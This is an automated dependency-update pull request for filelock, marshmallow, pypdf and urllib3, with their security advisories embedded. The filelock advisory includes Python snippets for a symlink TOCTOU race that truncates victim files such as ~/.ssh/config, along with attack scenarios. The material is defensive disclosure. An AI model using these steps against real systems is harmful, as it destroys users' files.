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fix(deps): Update security updates [SECURITY] (#4154)
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2025-12-24 23:03:32 +00:00 This PR contains the following updates:
| Package | Change |
Age |Confidence filelock ==3.20.0→==3.20.1marshmallow (changelog) ==3.26.1→==3.26.2pypdf (changelog) ==6.3.0→==6.4.0urllib3 (changelog) ==2.5.0→==2.6.0GitHub Vulnerability Alerts
Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local
attackers to corrupt or truncate arbitrary user files through symlink
attacks. The vulnerability exists in both Unix and Windows lock file
creation where filelock checks if a file exists before opening it with
O_TRUNC. An attacker can create a symlink pointing to a victim file in
the time gap between the check and open, causing os.open() to follow the
symlink and truncate the target file.Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The
vulnerability cascades to dependent libraries:- virtualenv users: Configuration files can be overwritten with
virtualenv metadata, leaking sensitive paths - PyTorch users: CPU ISA cache or model checkpoints can be
corrupted, causing crashes or ML pipeline failures - poetry/tox users: through using virtualenv or filelock on their
own.
Attack requires local filesystem access and ability to create symlinks
(standard user permissions on Unix; Developer Mode on Windows 10+).
Exploitation succeeds within 1-3 attempts when lock file paths are
predictable.Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in
UnixFileLock._acquire() to prevent symlink following.Windows fix: Added GetFileAttributesW API check to detect reparse
points (symlinks/junctions) before opening files in
WindowsFileLock._acquire().Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
- Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note:
different locking semantics, may not be suitable for all use cases) - Ensure lock file directories have restrictive permissions (chmod
- to prevent untrusted users from creating symlinks
- Monitor lock file directories for suspicious symlinks before running
trusted applications
Warning: These workarounds provide only partial mitigation. The race
condition remains exploitable. Upgrading to version 3.20.1 is strongly
recommended.
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (
src/filelock/_unix.py:39-44):def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncateWindows (
src/filelock/_windows.py:19-28):def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncateThe Race Window
The vulnerability exists in the gap between operations:
Unix variant:
Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️Windows variant:
Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️Step-by-Step Attack Flow
1. Attacker Setup:
# Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target2. Attacker Creates Race Condition:
import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") # Launch attack threading.Thread(target=attacker_thread).start()3. Victim Application Runs:
from filelock import UnixFileLock # Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE # At this point, /home/victim/.ssh/config is now 0 bytes!4. What Happens Inside os.open():
On Unix systems, when
os.open()is called:// Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; }Without
O_NOFOLLOWflag, the kernel follows the symlink and truncates
the target file.Why the Attack Succeeds Reliably
Timing Characteristics:
- Check operation (Path.exists()): ~100-500 nanoseconds
- Symlink creation (os.symlink()): ~1-10 microseconds
- Race window: ~1-5 microseconds (very small but exploitable)
- Thread scheduling quantum: ~1-10 milliseconds
Success factors:
- Tight loop: Running attack in a loop hits the race window within
1-3 attempts - CPU scheduling: Modern OS thread schedulers frequently
context-switch during I/O operations - No synchronization: No atomic file creation prevents the race
- Symlink speed: Creating symlinks is extremely fast (metadata-only
operation)
Real-World Attack Scenarios
Scenario 1: virtualenv Exploitation
# Victim runs: python -m venv /tmp/myenv # Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") # Result: /home/victim/.bashrc overwritten with: # home = /usr/bin/python3 # include-system-site-packages = false # version = 3.11.2 # ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attackerScenario 2: PyTorch Cache Poisoning
# Victim runs: import torch # PyTorch checks CPU capabilities, uses filelock on cache # Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") # Result: Trained ML model checkpoint truncated to 0 bytes # Impact: Weeks of training lost, ML pipeline DoSWhy Standard Defenses Don't Help
File permissions don't prevent this:
- Attacker doesn't need write access to victim_file
- os.open() with O_TRUNC follows symlinks using the victim's
permissions - The victim process truncates its own file
Directory permissions help but aren't always feasible:
- Lock files often created in shared /tmp directory (mode 1777)
- Applications may not control lock file location
- Many apps use predictable paths in user-writable directories
File locking doesn't prevent this:
- The truncation happens during the open() call, before any lock is
acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink
attacks
Exploitation Proof-of-Concept Results
From empirical testing with the provided PoCs:
Simple Direct Attack (
filelock_simple_poc.py):- Success rate: 33% per attempt (1 in 3 tries)
- Average attempts to success: 2.1
- Target file reduced to 0 bytes in <100ms
virtualenv Attack (
weaponized_virtualenv.py):- Success rate: ~90% on first attempt (deterministic timing)
- Information leaked: File paths, Python version, system configuration
- Data corruption: Complete loss of original file contents
PyTorch Attack (
weaponized_pytorch.py):- Success rate: 25-40% per attempt
- Impact: Application crashes, model loading failures
- Recovery: Requires cache rebuild or model retraining
Discovered and reported by: George Tsigourakos
(@tsigouris007)Impact
Schema.load(data, many=True)is vulnerable to denial of service
attacks. A moderately sized request can consume a disproportionate
amount of CPU time.Patches
4.1.2, 3.26.2
Workarounds
# Fail fast def load_many(schema, data, **kwargs): if not isinstance(data, list): raise ValidationError(['Invalid input type.']) return [schema.load(item, **kwargs) for item in data]Impact
An attacker who uses this vulnerability can craft a PDF which leads to a
memory usage of up to 1 GB per stream. This requires parsing the content
stream of a page using the LZWDecode filter.This is a follow up to
GHSA-jfx9-29x2-rv3j
to align the default limit with the one for zlib.Patches
This has been fixed in
pypdf==6.4.0.Workarounds
If users cannot upgrade yet, use the line below to overwrite the default
in their code:pypdf.filters.LZW_MAX_OUTPUT_LENGTH = 75_000_000Impact
urllib3 supports chained HTTP encoding algorithms for response content
according to RFC 9110 (e.g.,Content-Encoding: gzip, zstd).However, the number of links in the decompression chain was unbounded
allowing a malicious server to insert a virtually unlimited number of
compression steps leading to high CPU usage and massive memory
allocation for the decompressed data.Affected usages
Applications and libraries using urllib3 version 2.5.0 and earlier for
HTTP requests to untrusted sources unless they disable content decoding
explicitly.Remediation
Upgrade to at least urllib3 v2.6.0 in which the library limits the
number of links to 5.If upgrading is not immediately possible, use
preload_content=False
and ensure thatresp.headers["content-encoding"]contains a safe
number of encodings before reading the response content.Impact
urllib3's streaming
API
is designed for the efficient handling of large HTTP responses by
reading the content in chunks, rather than loading the entire response
body into memory at once.When streaming a compressed response, urllib3 can perform decoding or
decompression based on the HTTPContent-Encodingheader (e.g.,gzip,
deflate,br, orzstd). The library must read compressed data from
the network and decompress it until the requested chunk size is met. Any
resulting decompressed data that exceeds the requested amount is held in
an internal buffer for the next read operation.The decompression logic could cause urllib3 to fully decode a small
amount of highly compressed data in a single operation. This can result
in excessive resource consumption (high CPU usage and massive memory
allocation for the decompressed data; CWE-409) on the client side, even
if the application only requested a small chunk of data.Affected usages
Applications and libraries using urllib3 version 2.5.0 and earlier to
stream large compressed responses or content from untrusted sources.stream(),read(amt=256),read1(amt=256),read_chunked(amt=256),
readinto(b)are examples ofurllib3.HTTPResponsemethod calls using
the affected logic unless decoding is disabled explicitly.Remediation
Upgrade to at least urllib3 v2.6.0 in which the library avoids
decompressing data that exceeds the requested amount.If your environment contains a package facilitating the Brotli encoding,
upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These
versions are enforced by theurllib3[brotli]extra in the patched
versions of urllib3.Credits
The issue was reported by @Cycloctane.
Supplemental information was provided by @stamparm during a
security audit performed by 7ASecurity and
facilitated by OSTIF.
Release Notes
tox-dev/py-filelock (filelock)
What's Changed
- CVE-2025-68146: Fix TOCTOU symlink vulnerability in lock file creation
by @gaborbernat in
tox-dev/filelock#461
Full Changelog:
https://github.com/tox-dev/filelock/compare/3.20.0...3.20.1marshmallow-code/marshmallow (marshmallow)
Bug fixes:
- :cve:
2025-68480: Merge error store messages without rebuilding
collections.
Thanks 카푸치노 for reporting and :user:deckar01for the fix.
py-pdf/pypdf (pypdf)
Performance Improvements (PI)
- Optimize loop for layout mode text extraction
(#3543)
Bug Fixes (BUG)
- Do not fail on choice field without /Opt key
(#3540)
Documentation (DOC)
- Document possible issues with merge_page and clipping
(#3546) - Add some notes about library security
(#3545)
Maintenance (MAINT)
- Use CORE_FONT_METRICS for widths where possible
(#3526)
urllib3/urllib3 (urllib3)
==================
Security
- Fixed a security issue where streaming API could improperly handle
highly
compressed HTTP content ("decompression bombs") leading to excessive
resource
consumption even when a small amount of data was requested. Reading
small
chunks of compressed data is safer and much more efficient now.
(GHSA-2xpw-w6gg-jr37 <https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37>__) - Fixed a security issue where an attacker could compose an HTTP
response with
virtually unlimited links in theContent-Encodingheader, potentially
leading to a denial of service (DoS) attack by exhausting system
resources
during decoding. The number of allowed chained encodings is now limited
to 5.
(GHSA-gm62-xv2j-4w53 <https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53>__)
.. caution::
-
If urllib3 is not installed with the optional
urllib3[brotli]extra,
but
your environment contains a Brotli/brotlicffi/brotlipy package anyway,
make
sure to upgrade it to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 to
benefit from the security fixes and avoid warnings. Prefer using
urllib3[brotli]to install a compatible Brotli package automatically. -
If you use custom decompressors, please make sure to update them to
respect the changed API ofurllib3.response.ContentDecoder.
Features
- Enabled retrieval, deletion, and membership testing in
HTTPHeaderDictusing bytes keys. (#​3653 <https://github.com/urllib3/urllib3/issues/3653>__) - Added host and port information to string representations of
HTTPConnection. (#​3666 <https://github.com/urllib3/urllib3/issues/3666>__) - Added support for Python 3.14 free-threading builds explicitly.
(#​3696 <https://github.com/urllib3/urllib3/issues/3696>__)
Removals
- Removed the
HTTPResponse.getheaders()method in favor of
HTTPResponse.headers.
Removed theHTTPResponse.getheader(name, default)method in favor of
HTTPResponse.headers.get(name, default). (#​3622 <https://github.com/urllib3/urllib3/issues/3622>__)
Bugfixes
- Fixed redirect handling in
urllib3.PoolManagerwhen an integer is
passed
for the retries parameter. (#​3649 <https://github.com/urllib3/urllib3/issues/3649>__) - Fixed
HTTPConnectionPoolwhen used in Emscripten with no explicit
port. (#​3664 <https://github.com/urllib3/urllib3/issues/3664>__) - Fixed handling of
SSLKEYLOGFILEwith expandable variables.
(#​3700 <https://github.com/urllib3/urllib3/issues/3700>__)
Misc
- Changed the
zstdextra to installbackports.zstdinstead of
zstandardon Python 3.13 and before. (#​3693 <https://github.com/urllib3/urllib3/issues/3693>__) - Improved the performance of content decoding by optimizing
BytesQueueBufferclass. (#​3710 <https://github.com/urllib3/urllib3/issues/3710>__) - Allowed building the urllib3 package with newer setuptools-scm v9.x.
(#​3652 <https://github.com/urllib3/urllib3/issues/3652>__) - Ensured successful urllib3 builds by setting Hatchling requirement to
= 1.27.0. (
#​3638 <https://github.com/urllib3/urllib3/issues/3638>__)
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